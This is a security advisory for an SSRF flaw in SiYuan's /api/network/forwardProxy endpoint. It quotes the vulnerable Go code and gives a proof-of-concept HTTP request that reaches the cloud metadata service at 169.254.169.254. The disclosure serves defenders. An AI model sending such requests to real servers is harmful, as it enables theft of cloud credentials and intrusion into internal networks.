CVE-2026-32110: SiYuan has a Full-Read SSRF via /api/network/forwardProxy
Summary The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
Published Mar 12, 2026 · Updated Nov 5, 2026
Affected packages
github.com/siyuan-note/siyuan/kernel
- Ecosystem
- Go
- Affected
- <= 3.5.9
- Fixed in
- 3.6.0
- Check
go list -m github.com/siyuan-note/siyuan/kernel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.
Affected Code
File: /kernel/api/network.go (Lines 153-317)
func forwardProxy(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok {
return
}
destURL := arg["url"].(string)
// VULNERABILITY: Only validates URL format, not destination
if _, e := url.ParseRequestURI(destURL); nil != e {
ret.Code = -1
ret.Msg = "invalid [url]"
return
}
// ... HTTP request is made to user-controlled URL ...
resp, err := request.Send(method, destURL)
// Full response body is returned to the user
bodyData, err := io.ReadAll(resp.Body)
// ...
ret.Data = data // Contains full response body
}PoC
- First, authenticate with your access auth code and copy the authenticated cookie.
- Now use the request below for SSRF to Access Cloud Metadata.
POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102
{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'Impact
- Internal Network Reconnaissance: Attackers can scan internal services
- Cloud Credential Theft: Potential access to cloud metadata and IAM credentials
- Data Exfiltration: Server can be used as a proxy to access internal resources
- Firewall Bypass: Requests originate from trusted internal IP
Credited to ritikchaddha, neo-ai-engineer, zuhairhalawa.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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